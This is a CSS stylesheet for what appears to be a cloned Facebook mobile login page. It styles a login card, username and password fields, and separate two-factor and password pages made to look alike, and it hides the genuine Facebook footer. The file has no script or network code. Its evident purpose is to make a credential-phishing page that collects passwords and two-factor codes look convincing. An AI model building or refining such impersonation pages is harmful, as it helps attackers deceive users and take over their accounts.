/* Main form only – no full layout. Page + login card + form fields + button. */
* {
  box-sizing: border-box;
}
body {
  margin: 0;
  min-height: 100vh;
  background: #f0f2f5;
  font-family: Helvetica, Arial, sans-serif;
  font-size: 15px;
  color: #1c1e21;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 16px;
}
[id="mount_0_0_/L"],
body #page,
body #root {
  width: 100%;
  display: flex;
  justify-content: center;
  align-items: center;
  flex-direction: column;
}

/* Index page: logo same size and look as 2fa/password (112×28, no stretch) */
#mount_0_0_/L ._7om2._52we._2pid._52z6 img,
#mount_0_0_/L img.fb-logo {
  width: 112px !important;
  max-width: 112px !important;
  height: 28px !important;
  object-fit: contain !important;
  display: block !important;
  margin: 0 auto !important;
}
#mount_0_0_/L ._7om2._52we._2pid._52z6 ._4g34 {
  display: block;
  margin: 0 auto;
  max-width: 112px;
}
#mount_0_0_/L ._7om2._52we._2pid._52z6 a {
  display: inline-block;
  line-height: 0;
}
#login-card {
  background: #fff;
  border-radius: 8px;
  box-shadow: 0 2px 4px rgba(0,0,0,.1), 0 8px 16px rgba(0,0,0,.1);
  width: 100%;
  max-width: 432px;
  padding: 24px;
}
#login_form {
  display: block;
}
#login_form label {
  display: block;
  font-size: 15px;
  font-weight: 500;
  color: #1c1e21;
  margin-bottom: 6px;
}
#login_form input[type="text"],
#login_form input[type="password"] {
  width: 100%;
  padding: 12px 16px;
  font-size: 15px;
  border: 1px solid #ced0d4;
  border-radius: 6px;
  background: #fff;
  color: #1c1e21;
  margin-bottom: 12px;
}
#login_form input[type="password"] {
  margin-bottom: 16px;
}
#login_form input::placeholder {
  color: #65676b;
}
#login_form input:focus {
  outline: none;
  border-color: #0866ff;
}
#login_form button[type="submit"] {
  width: 100%;
  padding: 12px 20px;
  font-size: 15px;
  font-weight: 600;
  color: #fff;
  background: #0866ff;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  margin-bottom: 16px;
}
#login_form button[type="submit"]:hover {
  background: #1877f2;
}
#login_form a {
  color: #0866ff;
  text-decoration: none;
  font-size: 15px;
}
#login_form a:hover {
  text-decoration: underline;
}

/* Hide language selector and footer (English (US), About · Help · More, Facebook Inc.) */
[data-sigil="m_login_footer"] {
  display: none !important;
}

/* Remove bullet/dot from other-links list on 2fa/password */
.other-links._8p_m ._5pkb._55wp,
.other-links._8p_m ul {
  list-style: none;
  padding-left: 0;
  margin: 0;
}

/* 2fa / password pages: match index security box and clean layout */
#login-card .form,
#login-card .m-header,
#login-card .red-box {
  margin-bottom: 16px;
}
#login-card .red-box {
  background: #fff4e5;
  border: 1px solid #ffd6a4;
  border-radius: 8px;
  padding: 12px 16px;
}
#login-card .m-header h3 {
  margin: 0 0 6px 0;
  font-size: 15px;
  font-weight: 600;
  color: #1c1e21;
}
#login-card .red-box p {
  margin: 0;
  font-size: 13px;
  color: #1c1e21;
  line-height: 1.4;
}
#login-card #login_form ._56be,
#login-card #login_form ._55wo,
#login-card #login_form ._55wq,
#login-card #login_form ._96n9,
#login-card #login_form ._1upc,
#login-card #login_form ._2pie {
  margin: 0;
  padding: 0;
  border: none;
  background: none;
}
/* Form 2 & 3: reduce space from button to end of card to match form 1 */
#login-card ._2pie._9omz,
#login-card ._52jj._9on1 {
  margin: 0;
  padding: 0;
  min-height: 0;
}
#login-card ._52jj._9on1 {
  height: 0;
  overflow: hidden;
}
#login-card #login_form ._56be > div,
#login-card #login_form ._55wo > div {
  margin: 0;
  padding: 0;
}
#login-card #login_form button[type="submit"],
#login-card #login_form button[form="login_form"] {
  width: 100%;
  padding: 12px 20px;
  font-size: 15px;
  font-weight: 600;
  color: #fff;
  background: #0866ff;
  border: none;
  border-radius: 6px;
  cursor: pointer;
  margin-bottom: 16px;
}
#login-card #login_form button[type="submit"]:hover,
#login-card #login_form button[form="login_form"]:hover {
  background: #1877f2;
}